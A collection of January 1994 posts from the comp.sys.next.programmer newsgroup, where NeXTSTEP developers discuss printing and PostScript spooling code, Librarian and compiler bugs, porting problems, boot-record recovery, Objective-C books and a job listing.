your Objects accept other Objects from palettes. We tried hard... It works in test-mode because there you have the real Objects (no templates). If you start IB two times you can have one in test-mode while the other is in normal-mode. Now you can drag off the palette into your views (in the test-mode app). Atze -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@dART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
From: Roland Telfeyan <roland@gomidas.mi.org> Newsgroups: comp.sys.next.programmer Subject: Librarian bug? Man page topics don't show up Date: 12 Jan 1994 10:44:23 GMT Organization: University of Michigan EECS Dept. Distribution: world Message-ID: <2h0ka7$mte@zip.eecs.umich.edu> Keywords: man page topics librarian I've noticed that in 3.1 the man page topics don't show up in Librarian. All you get are things like "man3/ctime.3" rather than "ctime - convert date and time to ASCII" or whatever. Anybody know what causes this? I've tried reindexing using ixbuild but it doesn't work. I noticed that in 3.2 some of the man page topics DO show up but many still DON'T. What gives? Roland
Newsgroups: comp.sys.next.programmer From: horst@il.us.swissbank.com (Ted Horst) Subject: Saving PS output to a file Message-ID: <1994Jan12.144653.13399@il.us.swissbank.com> Keywords: postscript, printing, spoolfile Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Wed, 12 Jan 1994 14:46:53 GMT Hi, A while back I posted a question about how to have a view save its PostScript output to a file. What I was looking for was a way to emulate the functionality of the Save button on the PrintPanel without running the PrintPanel. Several people wrote back suggesting I use copyPSCodeInside:to:. Unfortunately this would not work in my case because I am doing pagination and none of the pagination methods (knowsPagesFirst:last:, getRect:forPage:, placePrintRect:offset:) get called from copyPSCodeInside:to:. I was able to accomplish what I wanted in most cases by overriding just one method - spoolFile: and just returning self if I was archiving. The problem was that the user could also print the view through the normal mechanism with the PrintPanel. If they did this and selected Preview from the PrintPanel, then spoolFile: never gets called. In order to get around this, I had to override two more methods - openSpoolFile: and _doPreview:file:. In _doPreview:file:, I just return self if I am archiving. In openSpoolFile: I actually have to write over the string that is being passed in. I write in [[NXApp printInfo] outputFile] which I set before I called printPSCode:. Both of these seemed dangerous to me (overriding a hidden method and writing into a string of unknown length), so I verified with NeXT tech support that it would be OK. Dennis Gentry checked it out for me and said that there should not be any problem. _doPreview:file: will probably not change anytime soon, and the string being passed in to openSpoolFile: is MAXPATHLEN long (at least in the cases that he found). So there you have it. It seems to work OK, but it seems that there really ought to be some supported way of doing this. Here are a some of the relevant pieces of code. Thanks to those who responded and I hope this helps someone else. Ted Horst <ted@singlesrc.com> Single Source Systems, Inc. (317) 253-0665 @implementation Controller - printReportIn:(const char *)path { char fullPath[MAXPATHLEN + 1]; id pi; [[NXApp printInfo] free]; pi = [[PrintInfo alloc] init]; [NXApp setPrintInfo:pi]; sprintf(fullPath, "%s/%s.ps", path, [someTextField stringValue]); [pi setOutputFile:fullPath]; shouldRunPrintPanel = NO; [self print:self]; shouldRunPrintPanel = YES; return self; } - print:sender { id printView = [self preparePrintView]; // allocs and inits a new window and a new view and puts stuff in it. id pi = [NXApp printInfo]; [pi setOrientation:NX_LANDSCAPE andAdjust:YES]; [pi setHorizCentered:YES]; [pi setVertCentered:YES]; [pi setMarginLeft:0.0 right:0.0 top:0.0 bottom:0.0]; if (!shouldRunPrintPanel) [printView setArchiving:YES]; [printView printPSCode:self]; [printView setArchiving:NO]; [[printView window] free]; return self; } - (BOOL)shouldRunPrintPanel:aView { return shouldRunPrintPanel; } @end @implementation PrintView // pagination and drawing code left out... - init { NXRect wholeRect = {{0.0, 0.0}, {4632.0, 592.0}}; id myWin = [[Window allocFromZone:[self zone]] initContent:&wholeRect style:NX_PLAINSTYLE backing:NX_BUFFERED buttonMask:0 defer:NO]; [super initFrame:&wholeRect]; [myWin moveTo:0.0 :-600.0]; [[myWin setContentView:self] free]; return self; } - spoolFile:(const char *)filename { if (archiving) return self; return [super spoolFile:filename]; } - _doPreview:hmmm file:(char *)filename { if (archiving) return self; return [super _doPreview:hmmm file:filename]; } - openSpoolFile:(char *)filename { if (archiving) strcpy(filename, [[NXApp printInfo] outputFile]); return [super openSpoolFile:filename]; } - setArchiving:(BOOL)yn { archiving = yn; return self; } @end Disclaimer: No statements made in this article should be construed to reflect the opinions of Swiss Bank or Single Source Systems. All opinions are wholly my own, and I am solely responsible for my statements.
Newsgroups: comp.sys.next.programmer From: II General Relations <root@innov.spb.su> Subject: Small company needs sw help Organization: Innovation Institute Date: Wed, 12 Jan 1994 19:24:43 GMT Message-ID: <AAxv4DjG99@innov.spb.su> Sender: news-service@arcom.rcom.spb.su Small military converter enterpreneurs in Russia need software help in text or graphic symbols. Other kinds of help needed too. Please answer by E-mail root@innov.spb.su only.
From: jimb@access3.digex.net (Katana Pilot) Newsgroups: comp.sys.next.programmer Subject: Help: Rotating NXImage Date: 12 Jan 1994 10:34:20 -0500 Organization: Object oriented Distribution: usa Message-ID: <2h159s$qrq@access3.digex.net> Does anyone have an NXImage subclass which will rotate its image? (Or do you know how to do it easily?) I just need to rotate 90 degrees about the center of the image. Thanks -- jimb@access.digex.com | NeXTSTEP Developer | MARRC Corner Worker '93 GSX600FP Katana | Murder Capital, DC | Summit Point Raceway, WV ----------------------+----------------------------+--------------------------
From: erwin@helsinki.ks.uiuc.edu (Edgar Erwin) Newsgroups: comp.sys.next.programmer Subject: Re: Dealing with tabs Date: 12 Jan 1994 19:08:39 GMT Organization: University of Illinois at Urbana Distribution: world Message-ID: <2h1hrn$bnj@vixen.cso.uiuc.edu> References: <2gsfee$lqq@vixen.cso.uiuc.edu> Sorry for following-up my own post. It turns out that the problem with NewsGrazer and tabs is more subtle than I had initially realized. NG only has problems with tabs if you are using the article font `Courrier Medium 16.0'. With this font, all tabs get displayed as 2 newline characters. However, if you open the same document in Edit.app, the tabs will appear correctly, even if you use the same font! Thus, there is a problem, but I don't know whether it is with NG, or the font. Anyone have any ideas about what could cause this bizarre problem? Thanks to Charles Lloyd, and others, for helping me track down the problem, and for confirming that it occurs for him also. I'd be interested to hear from anyone who doesn't experience this problem. (Please don't respond after 48hours to avoid flooding my mailbox.) Test it with this tab ---> <--- Notes: Problem confirmed on NewsGrazer V71.9 on NeXTSTEP 2.0, 3.0, 3.1, 3.2, and NG version 72.3 on NS 3.2. Unfortunately, I've been using Courrier Medium 16 in NG for years and always assumed the tab problem was annoying but unavoidable! *------------------------------------------------------------* Ed Erwin erwin@lisboa.ks.uiuc.edu 3117 Beckman Institute (NeXT Mail accepted) 405 N. Mathews, Urbana, IL 61801 *------------------------------------------------------------*
From: scott@nic.gac.edu (Scott Hess) Newsgroups: comp.sys.next.programmer Subject: uncompresshelp had a bug (was Re: Decompressing Help.store) Date: 12 Jan 94 12:30:53 Organization: Is a sign of weakness Distribution: world Message-ID: <SCOTT.94Jan12123053@nic.gac.edu> References: <2gkg5b$1b9@darkstar.UCSC.EDU> <SCOTT.94Jan10171204@nic.gac.edu> In-reply-to: scott@nic.gac.edu's message of 10 Jan 94 17:12:04 In article <SCOTT.94Jan10171204@nic.gac.edu>, scott@nic.gac.edu (Scott Hess) writes: >I just posted a file called uncompresshelp.m to cs.orst.edu under >pub/next/submissions/uncompresshelp.m.Z. This does the job >(unfortunately too late for Art :-). So I lied. It had a bug which prevented it from actually _extracting_ files. (sigh.) The version posted just now (Jan 12, noon CST) to cs.orst.edu does work. It's a 5728 byte .Z source file ... Later, -- scott hess <scott@nic.gac.edu> <I can handle NeXTMail, but don't like it> Home: 12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Office: 101 W. Burnsville Pkwy, Suite 108F, Burnsville, MN 55337 890-1332 <I hate when something I've never heard of is called "The world famous ...">
From: jeff@jupiter.ame.Arizona.EDU (Jeff Diamond) Newsgroups: comp.sys.next.programmer Subject: Real Basic Review Question Date: 12 Jan 1994 21:17:00 GMT Organization: University of Arizona Distribution: world Message-ID: <2h1pcc$6id@auggie.CCIT.Arizona.EDU> Please don't laugh at me, but I have never been able to figure this out: In NeXTWorld, when they review Intel machines by comparing them to the NeXT Turbo, what do the two categories, "D-V", and "V-V" mean? I would guess they are somehow related to graphics performance, but I'd really like to know so I can shop for a White Box. Thanks! Jeff
Newsgroups: comp.sys.next.programmer From: trapac@netcom.com (Transpacific Container) Subject: JOB: Fulltime NeXTSTEP developer needed in LA area Message-ID: <trapacCJJ7rJ.5Ip@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Wed, 12 Jan 1994 19:35:42 GMT Fulltime NeXTSTEP developer needed in the LA area. Trans Pacific Container Service Corporation is an ocean carrier terminal operator serving the ports of Los Angeles, Oakland and Seattle. We now have a fulltime position open for a NeXTSTEP programmer to participate in the development of our GUI based Vessel planning system. Our environment includes and therefore experience is desirable with the following: NeXTSTEP and Objective C (we currently use 3.2 FIP). DBKit (accesses an Oracle7 database on a RS/6000 server). NetInfo & TCP/IP networking. If this interests you, send your resume to: Keith Carpenter Trans Pacific Container Service Corporation Email: trapac@netcom.com 920 West "B" street (NeXTMail OK) Wilmington, CA 90744 FAX: (310) 513-7410
Newsgroups: comp.sys.next.programmer,comp.sys.next.bugs From: chris@its.com (Chris Cuilla) Subject: Matrix subclassing... Message-ID: <1994Jan12.213421.15585@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Wed, 12 Jan 1994 21:34:21 GMT I'm playing around with a Matrix subclass...whenever I get a mouseDown: and print out the results of "getRow:andCol:forPoint:" I seem to be getting bizarre/inconsistent results. Is this broken. Anyone have any experience with this? -- Chris Cuilla --- NEXTSTEP Developer chris@its.com --------------------------------------------------------------------- "There's no such thing as a 'part-time' perfectionist."
Newsgroups: comp.sys.next.software,comp.sys.next.programmer From: bakerb@il.us.swissbank.com (Brian Baker) Subject: Looking for "Shelf" view Message-ID: <1994Jan12.214031.15707@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Wed, 12 Jan 1994 21:40:31 GMT Greetings, I'm trying to locate a view which implements a shelf similar to the one in the Workspace file browser. If anyone knows where I can find such a thing, either as a commercial product or PD source code, please let me know. Thanks, Brian Baker. bakerb@swissbank.com bbaker@its.com
Newsgroups: comp.sys.next.software,comp.sys.next.programmer From: bakerb@il.us.swissbank.com (Brian Baker) Subject: Looking for scrolling icon view Message-ID: <1994Jan12.214321.15769@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Wed, 12 Jan 1994 21:43:21 GMT Greetings, I'm trying to locate a view which implements a scrolling list of icons similar to the list above the browser in the Workspace file viewer. If anyone knows where I can find such a thing, either as a commercial product or PD source code, please let me know. Thanks, Brian Baker. bakerb@swissbank.com bbaker@its.com
From: annard@theborg.stack.urc.tue.nl (Annard Brouwer) Newsgroups: comp.sys.next.programmer Subject: Re: Librarian bug? Man page topics don't show up Date: 12 Jan 1994 19:40:08 GMT Organization: the Borg Distribution: world Message-ID: <2h1jmo$3km@theborg.stack.urc.tue.nl> References: <2h0ka7$mte@zip.eecs.umich.edu> In article <2h0ka7$mte@zip.eecs.umich.edu> Roland Telfeyan <roland@gomidas.mi.org> writes: > I've noticed that in 3.1 the man page topics don't show up in Librarian. All > you get are things like "man3/ctime.3" rather than "ctime - convert date and > time to ASCII" or whatever. > > Anybody know what causes this? I've tried reindexing using ixbuild but it > doesn't work. I noticed that in 3.2 some of the man page topics DO show up but > many still DON'T. What gives? > In 3.2 this bug has definitely been fixed. However 3 problems appeared: 1. There is a file open.2.deleteme which is obviously not deleted. 2. The file rdate.8C isn't properly recognised until you rename it to rdate.8c and add some information to it. 3. While installing the gnu utilities someone goofed and created /usr/man/man/man1. Recreating the whatis and the .index.store removes all your problems. However are more people annoyed by the fact that you first get to see directories and some man pages and then all other man pages in order of creation date? Annard -- Give me enough bandwidth and I can transmit the earth. - Annard Brouwer annard@stack.urc.tue.nl (NeXTmail appreciated)
From: edmtl@alf.uib.no (Thor Legvold) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Weird directory refuses to go away! Date: 13 Jan 1994 02:13:38 +0100 Organization: University of Bergen Message-ID: <2h2782$ags@alf.uib.no> Here's one I've not seen before and is driving me crazy... NeXT cube, 3.0J I had a directory with some source I was trying to compile, and next time I log in there are two extra entries...: [2:03] sushi% ls -l drwxrwxrwx 4 thor 1024 Jan 7 00:33 lines/ drwxrwxrwx 4 thor 1024 Jan 7 00:33 lines.~1~/ drwxrwxrwx 4 thor 1024 Jan 7 00:33 lines.~2~/ [2:03] sushi% the 1 and 2 versions just "appeared" one day, with identical contents to the original. So, naturally I removed the contents. It turns out all three directories are the same, but don't seem to be links! [2:05] sushi% ls -li 71801 drwxrwxrwx 4 thor 1024 Jan 7 00:33 lines/ 71801 drwxrwxrwx 4 thor 1024 Jan 7 00:33 lines.~1~/ 71801 drwxrwxrwx 4 thor 1024 Jan 7 00:33 lines.~2~/ [2:05] sushi% The inode is identical. When I try to rm them, or even rmdir, I get an error: [2:06] sushi% rm -r lines rm: lines not removed [2:06] sushi% rmdir lines rmdir: lines: Directory not empty [2:06] sushi% ls -lai lines total 3 71801 drwxrwxrwx 4 thor 1024 Jan 7 00:33 ./ 133204 drwxr-xr-x 9 thor 2048 Jan 8 01:36 ../ [2:06] sushi% I also tried with the -f option, it didn't help. Any advice on how to fix this? Running fsck twice didn't seem to help, and I haven't found out in my Unix programming how to read or write directly to a disk and erase or free an inode. I'd like to avoid such tactics anyway. Please e-mail any tips. Regards, -- Thor Legvold | This is the strangest life NorNeXT User Group leader | I've ever known... University of Bergen | - Jim Morrison, The Doors Norway | edmtl@fiol.uib.no (NeXTmail)
From: edmtl@alf.uib.no (Thor Legvold) Newsgroups: comp.sys.next.programmer Subject: Wanted: assistance with a Linux port (LifeLines) Date: 13 Jan 1994 02:40:49 +0100 Organization: University of Bergen Message-ID: <2h28r1$bdl@alf.uib.no> I have the source to a program written in 'vanilla' C on a Linux system, which is supposed to run on 'about everything with a C compiler'. Well, it doesn't run on the NeXT, not with NeXT's cc or with GNU gcc. There are several missing functions which are 'supposed' to be in the Curses lib, but on my system at least aren't. Would some kind soul be willing to point me at the proper libs that include the following functions: ld: Undefined symbols: _curs_set _is_linetouched _is_wintouched _wnoutrefresh _wsetscrreg _doupdate _beep _getsyx _setsyx _vwprintw _tputs _tgetent _tgetnum _tgoto _tgetflag _tgetstr E-mail is appreciated. Regards, -- Thor Legvold | This is the strangest life NorNeXT User Group leader | I've ever known... University of Bergen | - Jim Morrison, The Doors Norway | edmtl@fiol.uib.no (NeXTmail)
Newsgroups: comp.sys.next.programmer From: flash!jon@dsi.com Subject: Window bug? Message-ID: <CJJr8L.34y@dsinc!flash> Sender: jon@dsinc!flash (Jonathan Hendry) Organization: Who Needs It? Date: Thu, 13 Jan 1994 02:36:21 GMT Is it just me, or is there a problem in 3.2 with Windows? I'm trying to swap one view for another, then resize the window to accomodate differing view sizes. That works great, but it's ugly. While the Window's resizing the new area is white. I'd like to have it not display itself at all until it's done resizing. I've tried -disableDisplay and -disableFlushWindow to no avail. I've tried them in various combinations. I merely get various levels of ugly, none of which I'm happy with. I'm sure I've done this right before (though I don't have the code handy.) Is this a Window bug? The Windows in 3.2 Digital Librarian are *really* ugly when they open up and resize. - Jon PS: I'm writing this as part of a NeXTSTEP front end for CVS. Anyone interested? Ideas, suggestions would be appreciated. -- Jonathan W. Hendry Inexpensive NeXTSTEP Consulting tjhendry@mcs.drexel.edu For Your "Not-So-Mission-Critical" Apps
From: Roland Telfeyan <roland@gomidas.mi.org> Newsgroups: comp.sys.next.programmer Subject: Re: Librarian bug? Man page topics don't show up Date: 13 Jan 1994 04:41:49 GMT Organization: University of Michigan EECS Dept. Distribution: world Message-ID: <2h2jed$efg@zip.eecs.umich.edu> References: <2h1jmo$3km@theborg.stack.urc.tue.nl> In article <2h1jmo$3km@theborg.stack.urc.tue.nl> annard@theborg.stack.urc.tue.nl (Annard Brouwer) writes: > In 3.2 this bug has definitely been fixed. However 3 problems appeared: [ munch] But where is the bug? Is it in 3.1's ixbuild? Can I use ixbuild from 3.0 or 3.2 to fix the problem for 3.1? (I'm running 3.1 and am not yet ready to install 3.2.) Thanks, Roland
Newsgroups: comp.sys.next.programmer From: kiwi@belly.in-berlin.de (Axel Habermann) Subject: Re: Librarian bug? Man page topics don't show up Message-ID: <CJJJLC.5ox@belly.in-berlin.de> Sender: usenet@belly.in-berlin.de Organization: - none - References: <2h0ka7$mte@zip.eecs.umich.edu> Date: Wed, 12 Jan 1994 23:51:12 GMT In article <2h0ka7$mte@zip.eecs.umich.edu> Roland Telfeyan <roland@gomidas.mi.org> writes: > I've noticed that in 3.1 the man page topics don't show up in Librarian. All > you get are things like "man3/ctime.3" rather than "ctime - convert date and > time to ASCII" or whatever. > I remember this being a known bug in 3.1. It is fixed in 3.2. -- Axel Habermann \\|// "Wenn Du nicht kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's FaxFon: +49 30 4543046 \~/ mit Eleganz!"
Newsgroups: comp.sys.next.programmer From: gelato@netcom.com (Steve James) Subject: Problems with -ObjC++ Message-ID: <gelatoCJJnLu.J0E@netcom.com> Keywords: -ObjC++ Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Thu, 13 Jan 1994 01:17:53 GMT Is anybody else having problems with -ObjC++ mode in 3.2? It appears the compiler is generating bogus .stab entries in the debug output that prevent one from seeing the contents of structures in the debugger. Makes debugging a large app rather difficult. -------------------- typedef struct { int a,b; } Info; int main() { Info info; return 0; } -------------------- If you compile this program with 'cc -g test.c', break in main, and 'p info', everything is fine. However if you add -ObjC++ to the compile and repeat the above, you get (gdb) p info $2 = <unknown struct> (gdb) A quick look at the generated .stab entries in the .s file shows whats up: < .stabs "Info:t19=xsInfo:",128,0,0,0 --- > .stabs "Info:t16=s8a:1,0,32;b:1,32,32;;",128,0,0,0 The first one is with -ObjC++, the latter is just plain cc. I've also noticed some other annomilies in gdb under 3.2, mostly again with -ObjC++. There are some wicked speed problems too. In summary, if you use -ObjC++ heavily as I do, you might not want to fully commit to the 3.2 upgrade until you check these problems out with your app.
Newsgroups: comp.sys.next.programmer From: Robert_La_Ferla@hot.com Subject: Re: reference text for sereial communication Message-ID: <1994Jan13.000106.3215@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <2gv206$jgb@bigguy.eng.ufl.edu> Date: Thu, 13 Jan 1994 00:01:06 GMT Hot Technologies has a serial communications palette that makes serial port programming easy and sports some rather advanced features like accessing remote serial ports on your network and async. For more information: Hot Technologies, info@hot.com (NEXTMAIL or ASCII) Paget Press, info@paget.com Alembic Systems International, info@alembic.com PS. Come see us at the SunSoft booth at ObjectWorld Boston! Robert La Ferla Hot Technologies NEXTSTEP ISV In article <2gv206$jgb@bigguy.eng.ufl.edu> hasan@nd-isdn.ee.ufl.edu (Mohammed S. Hasan) writes: > > Hi > > I need some reference text dealing with serial communication through modem > from a unix machine. I do not find the man pages for the zs device driver > elaborate enough. > > The man pages for zs device drivers for both Sun and NeXT machines seem > similar. I am actually working on a NeXTstation. However, any reference on any > of the platforms will be appreciated. > > If possible, please email me. > > Hasan.
From: dario@voluptas (Dario Ringach) Newsgroups: comp.sys.next.programmer Subject: NeXT technical support number Message-ID: <2h3ul8$jm1@cmcl2.NYU.EDU> Date: 13 Jan 94 16:59:20 GMT Organization: New York University Can someone send it to me. I can't seem to find it in my NSFIP 3.2 manuals... Shouldn't that information be there? Thanks in advance. -- Dario
From: eidosat!fichting (Helmut Fichtinger) Newsgroups: comp.sys.next.programmer Subject: Re: Objective-C books? Date: 13 Jan 1994 16:27:58 +0100 Organization: Heliosan Medicaldevelopment Center, Stockerau, Austria Sender: fichting@eidos.co.at Message-ID: <2h3p9u$33p@eidosat.eidos.co.at> References: <jrhoadsCJ6p16.IK5@netcom.com> In article <jrhoadsCJ6p16.IK5@netcom.com> jrhoads@netcom.com (Jason Rhoads) writes: > Can anyone reccomend any Objective-C books for NeXT and non-NeXT > development? Thanks! > > - Jason > ================================================================= > Jason R. Rhoads jrhoads@netcom.com > Frontier Technology Inc. 530 E. Montecito St., Suite 105 > Santa Barbara, CA 93103-3245 (805) 965-2477 Fax (805) 965-2478 > ================================================================= > taken from a FAQ Brad J. Cox, Andrew J. Novobilski: Object Oriented Programming: An Evolutionary Approach. Addison-Wesley Publishing Company, Reading, Massachusetts, 1991. ISBN: 0-201-54834-8. abstract: The first book on Objective-C. Lewis J. Pinson, Richard S. Wiener: Objective-C: Object Oriented Programming Techniques. Addison-Wesley Publishing Company, Reading, Massachusetts, 1991. ISBN 0-201-50828-1. abstract: Includes many examples, discusses both Stepstone's and NeXT's versions of Objective-C, and the differences between the two. Timothy Budd: An Introduction to Object-Oriented Programming. Addison-Wesley Publishing Company, Reading, Massachusetts. ISBN 0-201-54709-0. abstract: An intro to the topic of OOP, as well as a comparison of C++, Objective-C, Smalltalk, and Object Pascal Simson L. Garfinkel, Michael K. Mahoney: NeXTSTEP Programming Step ONE: Object-Oriented Applications. TELOS/Springer-Verlag, 1993 (tel: (800)SPR-INGE). abstract: It's updated to discuss NeXTSTEP 3.0 features (Project Builder, new development environment) but doesn't discuss 3DKit or DBKit. NeXTSTEP Object Oriented Programming and the Objective C Language. Addison-Wesley Publishing Company, Reading, Massachusetts, 1993. ISBN 0-201-63251-9. abstract: This book describes the Objective-C language as it is implemented for NeXTSTEP. While clearly targeted at NeXTSTEP, it is a good first-read to get to learn Objective-C. Helmut Fichtinger Software Engineer mailing address: Helmut Fichtinger Austr. 10 A-2000 Stockerau Austria
From: dario@voluptas (Dario Ringach) Newsgroups: comp.sys.next.programmer Subject: Problems reinstalling DOS 6.0 after NS 3.2 Date: 13 Jan 1994 18:14:06 GMT Organization: New York University Distribution: world Message-ID: <2h431e$8l7@cmcl2.NYU.EDU> I'm trying to reinstall DOS 6.0 after I had problems with NS 3.2 on a Gateway DX2/66V. The DOS installation process goes smoothly. It reformats the disks and copies the system files. However, when I try to reboot from the hard disk I get NEXTSTEP boot1 v1.28 and it hangs there... What's going on? Where does this message come from if the HD was completely reformatted? Any ideas? Thanks! -- Dario
From: bill@alamut.cognet.ucla.edu (William M. Eldridge) Newsgroups: comp.sys.next.programmer Subject: Re: Saving PS output to a file Date: 13 Jan 1994 11:11:14 -0800 Organization: UCLA Cognitive Science Research Program Message-ID: <2h46ci$lqg@alamut.cognet.ucla.edu> References: <1994Jan12.144653.13399@il.us.swissbank.com> Keywords: postscript, printing, spoolfile If you have X-windows, xgrabsc (or xgrab?) is wonderful. Also free. -- Bill Eldridge bill@cognet.ucla.edu "Will hack life for food" 310-206-3960 (3987 fax) ..................
Newsgroups: comp.sys.next.programmer From: n9240566@honeydew.cc.wwu.edu (Leif E. Harrison) Subject: non-rectangular Buttons/ButtonCells and respective Matrix Message-ID: <n9240566.758488983@honeydew> Summary: Possible/desirable to subclass Button/ButtonCell and Matrix to get hexa Keywords: Button ButtonCell Matrix Subclass NeXTSTEP Sender: news@henson.cc.wwu.edu (USENET-WWU) Organization: Western Washington University Date: 13 Jan 94 19:23:03 GMT I'm looking to create a custom view for a hexagonal-based mapping system (a "matrix" of hexagons with images in them that respond to mouse clicks - looks like hexpaper, if you've seen that) for a game and I was pondering the most "sensible" way to implement it. Is it possible and desirable to subclass Button and/or ButtonCell and Matrix to create a "matrix" of hexagonal Buttons? Do the view subclasses allow non-rectangular views? I'm fairly sure I could possible "fake it" by making the rect parts outside of the hexagon transparent and unresponsive to the mouse...but is it possible to make it truly hexagonal? With hexagonal Buttons and HexPaper-like Matrix? My other choice, obviously, is just to create one big view and keep track of which "cell" the pointer is in when clicked, but I figured it might be more "elegant" subclassing Button and Matrix. *sigh* I'm just a beginner... - Leif Harrison n9240566@henson.cc.wwu.edu rexfelis@bailey.cpac.washington.edu
Newsgroups: comp.sys.next.programmer From: korp@eid.anl.gov (Peter A. Korp) Subject: Renderman help sought..... Message-ID: <CJL1zx.Dvy@mcs.anl.gov> Keywords: Renderman, quick Sender: usenet@mcs.anl.gov Organization: Argonne National Laboratory, Argonne, Illinois Date: Thu, 13 Jan 1994 19:26:20 GMT I am working on reading in some quadrilaterals into a sample QRM application. Unfortunately I need some help with the undocumented, in 3.0, RiPolygon and RiGeneralPolygon functions. Any examples that someone could forward to show how to us the Ri*Polygon functions to draw the quadrilaterals as an N3DShape. Also, since texture mapping does work in QRM can I at least dump a RIB file from the N3DCamera that I can somehow use prman on and see the texture maps? Does this make any sense? Peter -- Peter A. Korp Assistant Scientist Argonne National Laboratory korp@eid.anl.gov
Newsgroups: comp.sys.next.programmer From: wolf@prz.tu-berlin.de (Thomas Wolfram) Subject: Re: Problems reinstalling DOS 6.0 after NS 3.2 Sender: news@prz.tu-berlin.de (Newsadmin Elwood-PRZ) Message-ID: <1994Jan13.204110.27307@prz.tu-berlin.de> Date: Thu, 13 Jan 1994 20:41:10 GMT References: <2h431e$8l7@cmcl2.NYU.EDU> Organization: PRZ TU-Berlin Dario Ringach (dario@voluptas) wrote: > I'm trying to reinstall DOS 6.0 after I had problems with NS 3.2 > on a Gateway DX2/66V. The DOS installation process goes smoothly. > It reformats the disks and copies the system files. However, when > I try to reboot from the hard disk I get > NEXTSTEP boot1 v1.28 > and it hangs there... What's going on? Where does this message > come from if the HD was completely reformatted? Any ideas? This is because the NS Boot Manager is still in the Master Boot Record (physical first sector on the disk). Boot DOS from floppy and type fdisk /mbr this writes a default master boot record without touching the partition table. Don't forget to set the DOS partition to active. Thomas -- Thomas Wolfram <thomas@aeon.in-berlin.de> Germany: 0 30 31421171 PRZ TU Berlin (EANTC) <wolf@prz.tu-berlin.de> abroad: +49 30 31421171 _____________________________________________________________________________ _____S__I__C____T__R__A__N__S__I__T____G__L__O__R__I__A____M__U__N__D__I_____
Newsgroups: comp.sys.next.programmer From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) Subject: Trying to do some naughty things...need help! Message-ID: <CJL4MC.6K1@dvorak.amd.com> Sender: news@dvorak.amd.com (Usenet News) Organization: Advanced Micro Devices, Austin TX Distribution: usa Date: Thu, 13 Jan 1994 20:22:59 GMT Heads up Workspace hackers! Yea yea yea...I know all that stuff about not using unpublished methods, but... 1) This isn't mission-critical 2) I don't care if it breaks 3) I just want to see if it can be done...I'm hacking for goodness sake! Here's what I want to do... I've got a huge text file of fax numbers for all the folks in the company. I want to get that info into a .addresses file - you know, that file that's in your ~/Library/Addresses folder that the fax panel uses. Here's what I found. Using the AppInspector.app on the Workspace app I think I discovered some of the relevent (instance) methods inside: Class: WorkspaceRequestListener Methods: updateAddressOf:old:new:attributes:changeCount: peekAddressBookFor:changeCount: getAddressListFor:filter:contents:writable:changeCount: Class: Workspace Methods: updateAddressOf:old:new:attributes:changeCount: peekAddressBookFor:changeCount: getAddressListFor:filter:contents:writable:changeCount: Class: WorkspaceReplySpeaker Methods: updateAddressOf:old:new:attributes:changeCount: peekAddressBookFor:changeCount: getAddressListFor:filter:contents:writable:changeCount: *note how all three classes implement the same three methods* Hmmm... I have two specific problems at this point. 1) I need to get a handle on either the Workspace instance or the WorkspaceRequestListener instance. 2) Argument types ? What are they ? How do find them out ? If the API ever survives and gets published, I could build a cool app for doing this sort of thing in a more general fashion. Any help is very appreciated. -- Ronald Pomeroy Advanced Micro Devices CAM Applications Group rpomeroy@aunext1.amd.com
Newsgroups: comp.sys.next.programmer From: ief@netnews.jhuapl.edu (Ian Feldberg (TES)) Subject: displaying obstructed textfields during animation Message-ID: <CJLA3I.33H@netnews.jhuapl.edu> Organization: Applied Physics Laboratory of Johns Hopkins University Date: Thu, 13 Jan 1994 22:21:18 GMT Help! Does anyone know how to automatically redraw a TextField object when it has been obstructed by another? Or even better, does a TextField object know when it has been obstructed? I'm using NXImage to animate objects in my view and the compositing is screwing up my TextFields. I tried setting autoDisplay but it has no effect - I must be doing it wrong. Thanks in advance for your support, - Ian (Ian_Feldberg@jhuapl.edu)
Newsgroups: comp.sys.next.programmer From: ggerard@Alex.Engr.Trinity.Edu (Greg Gerard) Subject: How to display a PS code in a view? Message-ID: <1994Jan13.214623.13795@ringer.cs.utsa.edu> Sender: news@ringer.cs.utsa.edu Organization: Trinity University Date: Thu, 13 Jan 1994 21:46:23 GMT I would like to generate PS code inside a program and then have it displayed in a view. Something like YAP, but the input from the user is not PS itself. Looking through the YAP code, I decided it was written by an expert and great pains were taken to optimize it. While the comments are somewhat useful, I have not been enlightened to any great extent. I need a clear example to start with so I can see where these optimazations would come from and why. Can it be done so that I generate PS code into a stream and then have this (whatever method that does read PS) give me back an image that I can then display or save? thanks a bundle, greg
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Reading DATA(Music) from CD-ROM In-Reply-To: wave@media.mit.edu's message of Tue, 11 Jan 1994 02:08:07 GMT To: wave@media.mit.edu (Michael B. Johnson) Message-ID: <CEDMAN.94Jan12220613@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <2gs4k7$22h@amber.hasc.ca> <1994Jan10.215151.3134@planon.qc.ca> <1994Jan11.020807.937@news.media.mit.edu> Date: Thu, 13 Jan 1994 03:06:12 GMT In article <1994Jan11.020807.937@news.media.mit.edu> wave@media.mit.edu (Michael B. Johnson) writes: I believe someone posted code to do this on the NEC 3401 drive for NeXTSTEP. It's really a matter of having a drive that will accept the particular SCSI command, and then writing a bit of software to do it. Actually it is the Toshiba 3401 (and also some other later Toshiba CD-ROMs or so I hear), but apart from that you are correct. Carl Edman
